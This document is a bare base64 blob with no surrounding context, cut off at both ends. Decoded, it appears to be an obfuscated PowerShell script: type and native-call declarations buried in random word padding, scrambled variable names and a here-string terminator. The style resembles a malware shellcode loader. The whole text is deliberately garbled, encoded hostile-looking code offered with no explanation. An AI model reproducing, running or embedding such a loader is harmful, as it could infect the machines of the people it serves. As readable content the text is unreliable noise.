ByAG8AcwB0AHIAdABhAHUAdABlAHMAQQBuAHQAZQBuACgAUABhAHAAaQByAGkATABpAG4AagBlAG4AQwBhAG4AZQBsAHQAYgBhAHMAaQBzACAAcgBlAGwAYQBkAFMAQgB1AGsAbgBpAGUAVwBvAGwAZgBzAG0AQQBzAGsAZQByAGkAQgBlAG4AZwBsACwAUAByAGkAegBlAGkAUgB1AHMAdABzAG4AYwB5AGMAbABvAHQAQgBlAGwAYQB5ACAAbQBhAHQAZQByAFkAVwBvAG8AZABiAGUAUABvAHQAcwBpAG4AUwB1AHAAZQByAGkARgBsAG8AbwBkACwARgBhAHIAbQBzAGkAbgBvAHYAZQBuAG4AUABvAHQAZQBuAHQAYQByAGIAZQBqACAAdwBoAGkAegB6AFMASQBzAHQAYQBuAHUAbwB2AGUAcgBrAGIARABtAG8AbgBpAGQATABvAHQAYQBzADcATwBtAHAAbABhADQAUgBlAGwAZQBnACkAUwBlAHAAdABzADsACgBDAGUAbABsAGUAWwBJAG4AdABlAHIARABTAHQAdQBtAHAAbABTAHUAYgBlAG4AbABTAGEAZABvAG0ASQBJAG4AbwBtAHkAbQBMAGUAdQBjAG8AcABOAGEAaABvAHIAbwBQAHIAbwB0AHUAcgBIAGkAZQByAGEAdABGAGwAYQByAGUAKABBAG4AdABpAG8AIgBGAGwAeQBkAG4AawBTAHUAYgBsAGUAZQBBAHMAdAByAGEAcgBjAGgAaQBuAGEAbgBQAGEAbABsAGUAZQBGAGwAYQBhAGQAbABlAGwAZQBrAHQAMwBKAG8AdQByAG4AMgBTAHQAZQBuAHQAIgBSAGUAcABlAHIAKQBDAG8AbABsAGUAXQBDAG8AcABpAGUAcABNAGkAZwBoAHQAdQBSAG8AcwB2AGkAYgBNAGkAcwBiAGkAbABJAG0AcABhAHIAaQBTAHUAYgBqAG8AYwBCAHIAZQBhAHMAIABNAGUAbgB1AGkAcwBPAHAAcwB2AGkAdABwAGkAcwB0AGkAYQBCAG8AYgBlAHMAdABDAGEAbgBjAGUAaQBLAGEAbABmAGEAYwBSAGUAdABhAGkAIABIAHkAZwBpAGUAZQBQAHAAbQAgAFUAeABpAG0AbQBpAG4AdABCAGUAcwBrAHkAZQBBAGQAbQBpAHIAcgBQAGUAZwB3AG8AbgBNAGEAbQBtAG8AIABUAGkAZABzAGYAaQBTAGEAbAB0AGUAbgBTAHQAZQBkAHMAdABDAGwAYQByAGsAIABJAG4AZABsAGUAVgBUAGEAbABlAHMAaQBVAG4AZgByAHUAcgBQAHIAZQBuAHUAdABTAHUAYgBtAGkAdQByAGgAYQBiAGQAYQBEAGkAcwBrAGEAbABBAGMAYwBsAGkAQQBTAGUAbgBlAHMAbABaAGUAYQBsAGEAbABCAGEAYQB0ACAAbwBTAGkAawByAGkAYwBTAG0AaQBsAGUAKABDAG8AbgBkAHUAaQBTAGsAdQBiAG8AbgBLAGEAcgBlAGwAdABEAG8AYwB0AG8AIABVAG4AYgBlAGwAdgBTAHQAYQBwAGwAMQBTAG8AYwBrAGgALABSAGUAdQBwAGgAaQB0AGUAdABhAHIAbgBQAGgAcgBhAHMAdABlAG0AcABpAHIAIAB1AGQAbQBhAHIAdgBPAHAAcwBpAGcAMgBBAG4AdABpAHQALABMAGUAYQBkAHcAaQBBAG0AeQBsAG8AbgBpAG4AcwBhAHQAdABVAG4AcgBlAHAAIABCAGwAaQBuAGQAdgBnAHMAdABlAHAAMwBPAHUAdgByAGkALABUAGYAdAAgAFMAaQBBAGQAZwBhAG4AbgBUAGkAbABzAHkAdABUAHIAYQBuAHMAIABOAG8AbgBjAGEAdgBtAGkAcwBjAGEANABQAGEAcgBpAHMAKQBoAGEAdABjAGgAOwAKAFMAbgBvAHcAYgBbAFUAZABkAGEAbgBEAFcAaQBuAG4AbwBsAFYAaQBsAGoAZQBsAE4AZABsAGEAbgBJAEMAbwBwAHkAZABtAGYAbwByAG4AZABwAE8AYQBrAGwAYQBvAEsAYQBtAGkAawByAEMAcgB1AGMAaQB0AEEAdABvAG0AcwAoAFMAdABvAGYAdAAiAEsAcgBlAG0AZQBtAFMAawBvAHYAbABwAEkAcwBvAHQAcgByAEcAZwBlACAASQAiAE0AYQB4AGkAbAApAE0AZQBmAGkAcwBdAEQAbwBrAHUAbQBwAEQAaQByAGUAYwB1AFMAawByAGUAZABiAEwAYQBzAGsAZQBsAEUAZgB0AGUAcgBpAE8AbQBnAG4AZwBjAEkAbgBkAHQAcgAgAEsAbwBtAG0AcABzAEIAbABkAGcAcgB0AFMAeQBtAHAAdABhAHQAcgBhAG4AcwB0AEgAbwByAG8AbABpAFQAaQBsAGIAYQBjAFYAaQByAGkAbAAgAE0AYQB5AGIAZQBlAEYAbwByAGIAZQB4AEUAcABoAGUAYgB0AFIAaQBnAGEAdQBlAEEAZgBkAHIAeQByAEIAcgBuAGQAcwBuAFQAeQBrAGgAYQAgAE4AbwBuAHUAcABpAFAAYQBuAHUAcwBuAFAAbABhAHAAcgB0AEoAbwBsAHQAaQAgAFAAbwBlAHQAaQBXAGUAawBhAGMAYQBOAEQAaQBzAHAAbABlAEkAbQBwAGwAaQB0AFYAYQBzAG8AcwBHAEYAYQB0AHcAYQBlAHQAZQBsAG8AbQB0AFMAdAByAGsAbgBVAE0AdQB0AHQAZQBuAEIAaQBkAHIAaQBpAEoAdQBuAHQAbwB2AFMAdQBwAGUAcgBlAEYAdQB0AHUAcgByAEIAbwBuAGQAZQBzAEsAZQBuAG4AaQBhAEcAeQBwAHMAaQBsAGQAbwBqAGkAZwBOAFAAcgBlAHQAYQBhAFQAaQBsAHMAawBtAHMAdABpAGMAawBlAFIAYQBpAG4AbQAoAFUAaQBtAG8AZABpAE0AYQBuAHUAZgBuAEYAbwByAGgAcgB0AEUAeABlAHUAbgAgAEsAYQByAGUAdABTAFIAbwBuAGkAYQBhAFMAeQBtAGIAbwBtAEIAcgBrAGEAZwAsAEIAZQB2AGkAbgBpAE0AeQBjAGUAbABuAFMAdQBwAGUAcgB0AFUAbgB3AGEAcwAgAFMAcABlAGMAaQBUAFUAbwBwAG0AcgBhAFMAcABpAGwAZABhAHMAYQBuAGUAcgAsAEMAYQBuAHQAaQBpAE0AZQBuAGQAZQBuAEUAbgBnAGUAbgB0AEEAZQBtAGkAbAAgAGMAZQBtAGUAbgBJAEsAYQBuAGQAaQBtAFMAawBpAG4AbgBwAFMAZQByAHIAYQBpAE0AaQBzAHUAcgBuAFUAbQBpAG4AZAAsAHYAYQBnAHQAbQBpAEwAYQBmAGcAaQBuAFQAZQBsAG8AdAB0AHMAcAByAGEAdwAgAEwAdQBtAHAAcwBBAEYAbwByAGIAaQBmAFYAZQBrAHMAZQBzAEkAcwBvAGwAZQB0AFcAaABlAHIAZQAyAEIAaQByAGsAZQAyAHQAZQByAG0AaQAyAFMAdgBhAGwAZQApAEsAbwBuAGYAdQA7AAoAUwBrAHYAZQByAFsAVABhAHIAdAB1AEQASABhAHYAZQBoAGwARABlAGsAbABpAGwATwBuAGMAYQAgAEkARwByAG4AcwBlAG0ARgByAGkAdABhAHAAUABvAHMAdABlAG8AUwB1AGIAcQB1AHIAQgBhAGwAbABvAHQASQBuAHMAZQBjACgARwBhAHIAaQBrACIAVABlAHUAYwBoAEEATwBiAHQAZQBjAEQAcAByAGUAbQBvAFYAUwBjAGEAbgBkAEEAUAByAG8AZwByAFAAQQByAHYAZQBtAEkAVABpAGQAcwBoADMATABwAGwAYQBuADIAQgBhAGwAbABvAC4ATQB1AGMAcgBvAEQATwB1AHQAZAByAEwAUwB0AGkAdgBlAEwAQQBuAGEAawBpACIASwBvAGwAaQBiACkAVABpAGQAbwBiAF0AUgBhAGQAaQBhAHAAVQBkAHYAYQBlAHUAUgBpAHQAdQBhAGIATQBvAHQAYQB6AGwAUwB1AGIAdAByAGkATgBlAHAAaAByAGMAdABlAGwAZQBmACAARAByAGUAagBlAHMATwBtAGYAYQB0AHQARwBlAG8AYgBsAGEAVQBkAGgAbgBnAHQAQQBuAHQAZQBvAGkARABlAHMAYwByAGMAVgBhAGYAbABlACAATwByAGkAZwBpAGUAVgBhAG4AZABzAHgASQBuAGQAZABhAHQAUwBtAGEAYQBiAGUAUABsAHUAcwBoAHIASwBpAGwAbgBlAG4ARQB0AGgAYQBuACAAVgBpAGQAdQBhAGkAQQByAHQAaQBmAG4AUAB1AGcAYQByAHQAUAB1AHAAaQBmACAARABlAGwAZQBnAEEAQQBjAGMAdQBiAGIATwB2AGUAcgBkAG8AUAByAGUAZwBhAHIAUABsAHkAbgBkAHQASQBuAHQAZQByAFMAUAByAGkAcwBzAHkAQgBpAGIAZQBsAHMAYQBuAGsAZQBjAHQARQBwAGgAZQBtAGUAUgBlAHMAbwBjAG0AcwBtAGEAZwBzAFMASQBuAGQAcwBwAGgAVwBhAGkAZwB1AHUAVgBhAHIAZQBsAHQAYQBuAGEAYwBvAGQAQgByAG8AZABlAG8ATwBiAHMAawB1AHcAQQByAHMAZQBuAG4AcwB0AGEAcgBzACgASABhAHIAdgBlAGkAQQBuAGcAbABpAG4ATABuAGsAZQBoAHQATAB1AGMAcgBpACAARgBhAGUAcgBvAEQAUwB1AGIAdAByAHUAUwBwAGUAYwBpAGUAUABvAGwAYQByACkASwBvAGwAbwBuADsACgBGAGkAbABpAHMAWwBNAG8AcgBlAGkARABQAGEAYQBzAGsAbABVAG4AbQBlAHQAbABIAHkAbABkAGUASQBEAG8AZwBnAHIAbQBIAGUAbABmAGwAcABaAG8AZQB0AHIAbwBSAG8AdQB0AGUAcgBVAHIAZgBqAGUAdABUAG8AdABlAG0AKABVAG4AaQB2AGUAIgBJAHIAcgBhAGQAdQBFAGYAdABlAHIAcwBTAHQAdgBrAG8AZQBDAG8AbQBwAHIAcgBLAGEAbgBkAGkAMwBQAHIAZQBhAGQAMgBNAHUAbQBtAGkAIgBTAG8AcgBhAG4AKQBQAGEAcgBsAGEAXQBCAGkAbwBuAGkAcABIAGUAbQBtAGUAdQBGAGEAbgBnAG8AYgBLAGEAdABzACAAbABZAGEAawBvAG4AaQBVAG4AdwBhAHIAYwBHAHUAZABlAG4AIABBAGYAZgBlAGoAcwBTAGEAbQBsAGUAdABCAGEAdAB0AGEAYQBBAG4AZAByAGUAdABkAGEAZwBwAGEAaQBEAGEAbQBwAGsAYwBTAGUAbABpAG4AIABDAGwAbwBkAGgAZQBSAG8AcgBwAGkAeABSAGUAYwBvAG0AdABNAGUAcgBvAGQAZQBUAGUAbABlAG0AcgBCAHIAYQBjAGgAbgBLAG8AbQBtAGEAIABkAHIAbwBzAGsAaQBTAHAAcgByAGkAbgBIAG8AdgBlAGQAdABDAGwAZQBhAHIAIABGAHIAZQBvAG4ARwBNAG8AbgBpAGMAZQB1AGQAbABlAGoAdABWAGUAcgBzAG0AUABHAGUAbgB1AGQAcgBTAHkAZABrAHkAbwBBAHMAZQBpAHMAYwBCAG8AdwBuAGUAZQBUAHIAbwBtAG0AcwBCAG8AdQB6AG8AcwBpAG4AZgB1AHMAVwBPAHYAZQByAGQAaQBEAGkAcwBpAGwAbgBTAGMAaABhAHYAZABkAHUAbQBwAGkAbwBBAG4AZAByAG8AdwBQAG8AYQBjAGgAUwBqAGUAbgBmAG8AdABFAG4AYwBlAHAAYQBPAHAAcwBsAGkAdABIAGUAeABhAGQAaQBDAGgAZQBmAGkAbwBrAG4AawBnACAAbgBLAG8AaQBuAGMAKABBAG4AYwB5AGwAKQBMAGUAdABjAGgAOwAKAEgAdgBpAHMAawBbAEIAYQBkAHUAbABEAGwAbwBkAHMAZQBsAEQAYQBpAG4AdABsAEQAaQBzAGMAbwBJAFMAdgBrAGsAZQBtAEcAaABlAHIAYQBwAFAAcgBvAHQAbwBvAFUAbgBhAHQAdAByAEYAbABsAGUAcwB0AFQAZQBhAGsAdAAoAFAAYQBwAGUAZwAiAEMAaABhAGkAdAB3AEYAbAB1AG8AcgBpAEkAbgBkAGUAYwBuAFIAZQB2AGEAbgBzAFAAZQBuAHQAYQBwAEMAcgB5AHMAdABvAFUAbQBpAHMAZgBvAEcAbAB1AHQAZQBsAEsAYQBzAG0AIAAuAEYAaQByAGUAcABkAFMAcQB1AGEAdwByAEYAYQBuAGUAbgB2AFMAcABpAHQAZQAiAFMAdQBwAGUAcgApAFAAYQBjAG8AcgBdAEYAagBlAHIAawBwAFAAaQBsAGsAbwB1AFMAZQByAHYAaQBiAE4AYQB0AHQAeQBsAEEAaQBtAGwAZQBpAE4AbwBtAGEAZABjAEwAYQBtAGEAcgAgAEcAaQBkAGQAZQBzAE0AbwBuAGEAcgB0AFQAYQB1AG0AIABhAFAAbwBsAHkAegB0AFAAYQByAGEAcwBpAFIAdQBtAG8AdQBjAFMAawBpAGIAZQAgAE0AZQBkAGkAYQBlAFUAbgBwAGUAZwB4AFAAdABlAHIAeQB0AFMAYQBtAGYAdQBlAEYAbwByAGIAcgByAEUAdQBjAGgAcgBuAEMAbwBtAHAAbwAgAFMAcwB0AGUAcgBpAFIAYQBhAGUAcgBuAE0AYQB0AGUAcgB0AHIAbwB1AGcAaAAgAFcAbwBvAGYAZQBFAEIAZQBnAHIAaQBuAFMAawBpAGIAcwB1AFAAYQByAGEAcwBtAFcAaQBjAGsAZQBQAEYAaQBsAHQAZQByAFMAdQBiAGUAbQBpAFEAdQBpAHQAcgBuAFUAZABzAGsAcgB0AEsAdgBhAGQAcgBlAEQAaQBhAHAAaAByAFQAaQBuAHcAYQBQAEMAcgBvAHMAcwByAEIAaQBsAGEAZwBvAE8AbAB1AGYAZgBwAFIAaABhAHAAaQBlAEwAdQBmAHQAdAByAE8AcwB0AGUAbwB0AFYAaQBjAGUAYQB5AFkAZABlAHIAaQBTAFQAcgBhAGcAaQBoAFMAdABpAGcAbQBlAEcAYQBtAGwAaQBlAFAAcgBlAGQAaQB0AE4AbwBuAHoAbwBzAEEAbgBzAGUAbAAoAFQAYQBrAHQAcgBpAEYAbwByAGYAYQBuAFMAZQBxAHUAZQB0AFQAcgBpAG4AZQAgAFUAcABmAHIAYQBCAGcAZQBsAG8AcwBhAFMAcAByAGkAbgByAEQAZQBsAHIAZQAsAFMAaQBuAGsAaQBpAEkAbgBkAGIAZQBuAEUAbgBlAHIAZwB0AFMAdABvAHMAbgAgAE4AbwByAGQAZgBIAFQAcgBhAHUAbQBlAEsAdgBkAGUAcgBpAEMAaABhAHAAdABsAHAAZQBlAHcAZQAsAEcAbABpAGQAaQBpAEIAZQBoAGEAbgBuAEgAdQBsAGsAbwB0AEMAbwBuAHQAcgAgAEEAdQB0AG8AcABjAEoAdQBsAGUAbABhAE0AaQBsAGwAaQBsAEEAbABsAGUAeQAsAFIAbwBtAGEAbgBpAEUAbQBiAGUAbABuAHAAcgBlAG0AaQB0AFQAaQBsAHMAaQAgAEUAcQB1AGkAdgBPAEcAcgB1AGIAIABmAEYAcgBpAHMAZQBmAEMAbwBuAHMAcABzAEIAdQB0AGkAbgBjAFMAawBvAHIAcwBhAGsAbABvAHMAaAAxAFAAbwBsAHkAcAA5AEYAbABpAGcAcwA0AE0AbgBlAG0AbwApAE0AdQBsAHQAaQA7AAoAWABlAHIAbwB0AFsAUAB1AG4AdABzAEQARABpAGEAbQBvAGwAVgBhAG4AZABwAGwAdQBuAG0AYQBzAEkARQByAGgAdgBlAG0AQwBvAGcAbwBuAHAAUwBpAGsAcwBhAG8ARgBvAHIAawBsAHIATQBlAHQAcgBvAHQASgBhAHIAZwBvACgARABlAHYAbwB0ACIAQQBnAGUAbgBjAHcAVgBzAG0AYwAgAGkAUgBoAGUAaQBuAG4ATQBpAHMAdgBrAG0AUgBlAGsAbwByAG0ATgBvAG4AYgByAC4AdABlAGsAcwB0AGQAYQBuAHQAaQBrAGwAQQBmAGcAcgBuAGwARgBsAGUAawBzACIAUABhAHQAbwBnACkASABlAGEAcgB0AF0ASwBkAGUAYgByAHAAVgBlAGwAeQBuAHUAVABvAHIAcwBvAGIAQQBuAHAAYQByAGwATABlAGcAZQBuAGkAQQB0AGUAbABvAGMATQBpAGwAdgBpACAAVAByAGEAdgBvAHMAUABlAHIAaQBjAHQAcwBvAHIAYgBlAGEAVQBuAGQAZQByAHQAQQBmAHYAcgBnAGkAQgBhAHMAdABoAGMAQQBkAHIAZQBuACAAUABlAGMAawBlAGUAUABoAG8AdABvAHgAUABsAHUAbQBpAHQAZABhAHIAawBlAGUATABhAGEAcwBlAHIAUABhAHAAaQBvAG4AUwBpAGEAbABvACAAVQBuAGsAbgBvAGkARABlAG0AaQBsAG4ASAB5AHAAZQByAHQAUwB1AHAAZQByACAASABqAGUAbQBtAHcAUwBrAHkAZABrAGEAYQBiAHIAaQBrAHYAUwBwAG4AZABiAGUARgBlAHIAcgBpAE8AUABzAGUAdQBkAHUARgBsAGUAZQB0AHQAUwB1AGIAYQBjAFIASAB1AG4AZABlAGUARwBlAG8AZwByAHMARwByAHkAbgB0AHQARQBnAGEAbABpAGEAVQBoAHkAcgBsAHIATQB5AHQAaABvAHQAVABpAGwAdgBuACgARwB5AHAAcwB5AGkAUwBrAG8AdgBzAG4AUgBlAHMAcABlAHQARgByAG8AcwB0ACAASwBvAGwAZAB0AFMAQgByAG8AbwBtAHQAQwByAGUAYQBtAHIAUABlAGwAZQBjADEAQgBlAHMAaABvADUARgByAGkAbABhADEATABpAG0AYQBjACkARABlAHAAbwB0ADsACgBDAGgAbABvAHIAWwBJAG4AcwBlAGMARABwAGUAbgBzAGkAbABGAGwAbwBvAGQAbABUAGkAcABzAHQASQBUAGkAbABrAGEAbQBQAGUAcgBwAGUAcABWAGUAaABlAGYAbwBQAGwAdQBuAGcAcgBDAGEAZABhAHMAdABLAG8AcABpAHMAKABLAGEAbQB1AGYAIgBNAGkAcgBhAHQAawBIAGEAcgBwAGEAZQBLAGEAcABhAGMAcgBFAHAAaQBzAG8AbgBTAHQAZQBtAG0AZQBCAGUAdwByAGEAbABBAHIAYgBlAGoAMwBJAG4AZABlAGYAMgBCAGEAcwBnAHUAIgBTAHAAYQByAGkAKQBFAG4AZwBsAGUAXQBTAGUAagBsAGIAcABHAGEAbABnAGUAdQBVAHAAcwBsAG8AYgBKAHUAYgBpAGwAbABQAG8AcwB0AHYAaQBUAGUAbgBvAG4AYwBTAGEAbgBkAHMAIABSAGUAbABpAGsAcwBTAHAAYQBzAG0AdABUAHIAdgBlAG0AYQBHAHUAbABlACAAdABBAHIAbgBlAHMAaQBGAG8AbgBkAHMAYwBXAHIAYQBzAHQAIABEAGUAbABzAHQAZQBJAG4AdABlAHIAeABDAGEAcgBjAGkAdABBAGYAZgBlAGoAZQBTAGUAeAB1AGEAcgBCAGkAbgBkAGUAbgBVAG4AaAB5AGcAIABTAGEAbQBlAG4AaQBGAG8AcgByAGUAbgBVAGIAZQBoAGEAdABMAG8AcgBuAGEAIABTAGsAbwBsAGUARwBFAHAAaQBzAGMAZQBNAGkAcwByAGUAdABOAGkAegB5ACAARgBNAGkAbABqAGIAaQBUAHIAYQBjAGgAbABDAGUAcwB0AG8AZQBSAGUAcgBzACAAVABQAGkAcgBhAHQAaQBTAGsAcgBhAGEAbQBNAGEAZwBuAGUAZQBjAHkAbgBvAHAAKABTAHAAcgBvAGcAaQBhAGMAdABpAG8AbgBTAGwAbwB2AGEAdABBAGsAdQB0AGkAIABSAGUAYQBkAHYARgBQAHIAZgBlAHIAYQBVAG4AZABlAHIAcgBUAHkAbQBwAGEAdABQAHIAZQBzAHMALABvAHYAZQByAGQAaQBVAGQAcwBhAGwAbgBSAGUAZwBhAHIAdABiAGkAbwBjAGUAIABGAGEAbgBjAGkATQBSAGUAZABvAG8AdQBWAGUAZwBlAHQAdABQAG8AbABsAHUAYQBQAHIAZQBtAG8AdABBAHQAbABhAHMAaQBSAG8AbQBiAGkALABNAGEAcgBhAHYAaQBFAGsAcwBlAGcAbgBjAGUAbgB0AHIAdABUAHIAYQBuAHMAIABUAGkAbAB0AGUAQgBUAGkAZQBzAHQAaQBLAGUAbgBuAGUAZgBTAGkAZABlAG8AYQBBAGEAcgBnAGEAbABCAGEAeQBiAGUALABOAG8AbgBjAG8AaQBLAHYAYQBsAGkAbgBQAGUAZQByAGEAdABGAGEAYwB0AGkAIABDAGUAbgB0AHIAUwBVAGQAaAB2AGUAZQBFAHgAaABhAGwAbgBFAG4AcgBhAHAAKQBTAHkAbgBvAHMAOwAKAEcAZQBjAGsAaQB9AAoARQB4AGMAZQBuACIAUAByAG8AZwBlAEAACgBCAG8AcgB0AGYAJABBAG4AaQBtAGUAYwBCAGwAbwBtAHMAZQBBAGEAYgBuAGUAbABQAGEAcgBjAGUAbABMAGEAbgBkAGUAbwBUAHMAawBlAHMAMwBMAGkAbABqAGUAPQBEAHIAeQBvAHAAWwBCAGEAdAB0AGUAYwBHAG8AZABrAGUAZQBEAHkAcwBwAGUAbABCAGEAbgBkAGwAbABMAGEAdwB5AGUAbwBUAGEAZwBkAGsAMQBXAGkAZQBuAGUAXQBPAG4AbABhAHkAOgBHAHIAdQBwAHAAOgBTAG4AdQBmAGYAVgBQAGEAcgBhAHQAaQBHAGUAbwB0AGEAcgBEAGkAcwBnAHIAdABTAHUAYgB0AHIAdQBTAHkAbgB0AGEAYQBEAHkAbgBhAG0AbABOAG8AcgBpAGMAQQBHAG8AZABzAGUAbABiAG8AbABpAGcAbABTAGsAYQB0AGkAbwBGAHIAYQBzAGkAYwBMAGUAagBlAGIAKABGAG8AcgBmAHIAMABCAGwAbwBkAGEALABCAGwAYQBuAGsAMQBWAG8AbQBpAGMAMABBAGcAZQBuAGUANABKAG8AawBlAHIAOABCAG8AcgB0AHMANQBQAGEAcgB0AGkANwBDAG8AbgBkAHUANgBVAG4AbABhAGIALABHAHIAYQBuAGQAMQBDAGkAcgBjAHUAMgBGAG8AcgBnAGEAMgBTAHUAcABlAHIAOABJAG4AYgByAGUAOABBAG4AdABpAGUALABUAHIAYQBwAGUANgBKAGkAYgBiACAANABEAGEAdABhAHMAKQAKAFIAZQB0AHIAYQAkAEIAYQBhAGQAcwBHAEQAaQBvAHAAaABsAE0AaQBzAHcAcgBvAEQAdQBrAGgAbwBlAEkAbgBvAGIAcwBkAEsAdgBhAGQAcgAyAFMAdQBiAGMAbwAwAEQAawBrAGUAdAA3AFYAZQBkAGwAZwA9AEEAcgBiAGUAagAoAEYAbwByAG0AYQBHAEIAZQBsAGEAcwBlAEoAbwBoAGEAbgB0AEQAeQBwAHAAZQAtAE8AYgBiAGwAaQBJAFAAbABvAHQAdAB0AEcAbwBrAGEAcgBlAFAAcgBvAHMAbwBtAFMAbQBhAGEAYgBQAEEAcgBhAGIAaQByAGIAZQBlAGYAYwBvAE4AeQB0AGUAcwBwAEIAcgBvAHYAYQBlAEUAawBzAGUAawByAFIAZQBmAGwAZQB0AFQAbwBwAG4AZwB5AEIAYQBuAGUAYgAgAFMAdAByAGEAbgAtAFMAawByAGEAcABQAEEAdQB0AG8AcwBhAE0AdQBzAHQAZQB0AEgAeQBkAHIAbwBoAEMAcgBlAGEAdAAgAFMAYwBvAHIAbgAiAEUAcgBuAHIAaQBIAEEAbQBtAGUAcwBLAEMAaQB2AGkAbABDAFMAdAB0AHkAcwBVAGkAbgBmAHIAYQA6AFIAaQBiAGIAZQBcAEUAcABpAGcAZQBTAEMAdQBjAHUAbQBvAEIAdQBjAGsAbABmAE4AaQB0AG8AbgB0AEQAbwBlAGQAZQB3AEYAYQBiAHIAaQBhAEMAbwBwAGEAbAByAFMAYQBsAHQAcABlAFMAYwBoAGEAdgBcAEQAaQB0AGgAZQBHAEEAZAByAG8AcABlAGgAYQByAGQAdwBtAEQAaQByAGwAZQBpAFIAdQBtAGYAYQBuAFMAaQBnAG4AYQBhAE4AZQBzAHQAaQB0AFQAaQBsAHMAdgBlAFAAYQBsAGEAdABxAEEAcABwAGUAbAAiAFIAYQBnAGwAYQApAEUAeABjAG8AbQAuAFUAZABtAGEAZQBBAFAAcgBpAGsAbQBmAEkAbgBzAHAAZQB2AEEAZgBtAGcAdABhAEQAbwBlAHIAZQBsAE8AeAB5AGcAZQBtAFUAbgB0AHIAYQBpAEQAagBlAGwAbABuAEgAbwByAG4AdwBnAFMAZQBwAHQAZgBkAAoAUwBsAHUAdAB0ACQARQBqAG8AbABmAFkAUwB0AGEAaQB0AHAAcgB1AGIAaQBhAHAAUwBoAG8AbwAgAGUARwBvAGEAZABsAHIATQBvAHIAZQBzAHMAVQB0AG0AbQBlAHQARgBhAG0AbwB1ACAAUgBhAHAAcwBjAD0ASwBsAGkAbgB0ACAAQQBuAHMAZwBlAFsARwBnAGUAbQBhAFMAVQBuAGQAaQBmAHkAZABlAGYAYQBpAHMATQBhAGsAcgBlAHQAcABvAHAAawBvAGUASwBhAGwAawB2AG0AVQBuAGUAbQBiAC4AQgBlAG4AZQBhAEMAQwBvAHIAbwBuAG8AYwBvAGwAbwByAG4ATQBlAG0AbwByAHYAQQBlAGcAZQByAGUAUwBwAGUAagBsAHIASwBvAG0AcABsAHQATwB2AGUAcgBzAF0AVQBuAGUAbQBwADoAUwBsAHUAawBrADoAVABlAGUAdABoAEYAUwB0AGEAbgBkAHIATgBhAHQAdABlAG8AZgBvAHIAcwBpAG0AVAByAGkAbwBuAEIAQQBjAHIAbwBjAGEAagB1AGIAaQBsAHMARABvAG4AZQByAGUAQgByAGEAbgBjADYARABlAGEAawB0ADQARgBhAHUAbgBhAFMAYwBpAHIAYwB1AHQAUABvAGUAdABhAHIAVAByAGEAdQBtAGkAUgBlAGMAbwBuAG4ASwBlAHIAbgBlAGcAYwBlAHIAYQByACgAUAByAG8AYgBsACQAQQB2AG8AaQBkAEcAUwBwAGkAcgBhAGwAQQBnAHIAYQBtAG8AdgBlAGcAZwBpAGUAVABpAG0AZQB0AGQATQBpAGsAcwB0ADIAQgBnAGUAYgBsADAASABqAGUAbQBsADcARABpAHMAcwBlACkACgBKAGUAdwBpAG4AWwBCAGUAcAB1AGQAUwBTAGMAbwBsAHkAeQBIAGEAcgBtAG8AcwBjAGEAdABoAGUAdABIAGoAZQBtAG0AZQBJAGIAcgB1AGcAbQBBAGQAagB1AG4ALgBNAGkAbABqAGIAUgBCAHIAZQB0AGEAdQBMAGkAdgBzAGEAbgB0AGUAbQBwAG8AdABLAHIAZQBkAGkAaQBDAG8AbgB0ACAAbQBVAG4AaQBrAGEAZQBTAGEAYwByAG8ALgBmAGwAbwByAG0ASQBIAG8AbQBvAGcAbgBSAGUAagBzAGUAdABEAGUAbABpAGMAZQBmAGUAbQBpAG4AcgBKAHMAIABJAGwAbwBCAGEAawBlAG4AcABNAGkAYQBzACAAUwBBAGEAYgBlAG4AZQBUAHIAaQBuAG8AcgBSAG8AbwBmAGwAdgBEAGUAcAB1AHIAaQB1AG4AZQBuAGEAYwBJAHMAbwBsAGEAZQBzAHQAcgBpAGsAcwBBAHUAdABvAGcALgBpAG4AZgBhAG4ATQBVAHIAZQB0AGUAYQBVAG4AbgBvAHUAcgBMAGUAZQBmACAAcwBPAHUAdABuAHUAaABQAHIAbwBnAHIAYQBSAGcAbgBpAG4AbABGAG8AbABrAG0AXQBSAGUAZgB1AGwAOgBQAGUAYQB0AGkAOgBhAG4AcwB0AGkAQwBWAGEAYQBiAGUAbwBUAGEAbgBrAGUAcABGAHkAcgByAHUAeQBVAGQAdABtAG0AKABJAG4AZgBlAGsAJABNAGEAbgBlAGwAWQBBAGwAdgBvAHIAcABHAG8AZABkAGUAcABSAGUAawB1AHIAZQBXAGEAeAB3AG8AcgBSAGUAcwB0AHMAcwBCAGwAZQBwAGgAdABDAG8AbgB0AHUALABGAG8AcgBtAGEAIABLAG8AawBlAHQAMAB1AG4AYwBvAG0ALABNAGkAcwBzAHQAIABTAGwAbwB2AGUAIABGAHIAZABlAG4AJABUAGUAYwBoAG4AYwBLAG4AdQBzAGUAZQBlAHQAZQByAG4AbABHAGkAbgBnAGUAbABGAHIAaQBoAGEAbwBwAHIAbwBnAHIAMwBQAG8AbgBlAHIALABSAGUAdABzAHMAIABTAHQAcgBhAGEAJABNAGEAcwB0AGUAWQBEAGUAcAByAGUAcABEAHIAaQBmAHQAcABQAHUAegB6AG8AZQBUAHIAYQBwAHAAcgBwAGwAYQBkAGUAcwBVAG4AaQBzAG8AdABVAGQAbABhAGEALgBUAHUAYgBlAHIAYwBSAGUAdABpAHAAbwB2AGUAZABiAGwAdQBUAGUAZwBuAGkAbgBIAGUAbAB0AGUAdABzAHQAYQBnAG4AKQBTAHQAbwByAGUAOwAKAFQAaQBwAHMAcwBbAFoAbwBtAGIAYQBjAFMAbAB1AGcAZwBlAGIAcgBhAGsAcABsAFMAdAByAGkAawBsAFMAdAByAGEAdABvAEYAbwByAHMAaQAxAFAAaABhAGMAbwBdAG8AcwB0AGUAcgA6AE0AYQByAGkAbgA6AEYAbwByAGIAcgBFAFIAbwBrAGsAZQBuAE4AbwBuAGEAcAB1AEkAbgB0AGUAcgBtAFQAaABlAGEAdABTAEcAaQBiAGIAaQB5AEMAbwBsAG8AbgBzAGEAcABwAHIAbwB0AEEAawB2AGQAdQBlAE4AbwBuAHIAZQBtAFAAcgB1AHMAcwBMAEUAeAB0AGUAcgBvAEcAZQBuAGIAZQBjAFcAaABlAGUAcgBhAEIAdQByAGcAaABsAEIAcgBvAHQAaABlAE8AcABzAHAAYQBzAFAAYQBuAG4AaQBBAEgAeQBwAGUAcgAoAFIAZQBuAHIAaQAkAFQAbQBuAGkAbgBjAFQAaABpAG4AZwBlAFYAaQBzAHQAbwBsAFMAdQBiAHMAaQBsAFMAeQBtAGIAYQBvAEIAcgBkAG4AaQAzAE4AZQBkAHYAcgAsAEUAawBzAHAAbwAgAFIAZQBkAGUAbQAwAFUAbgBkAGUAcgApAFMAbQBhAHIAYQAjAAoAJwBAAA0ACgANAAoADQAKAEYAbw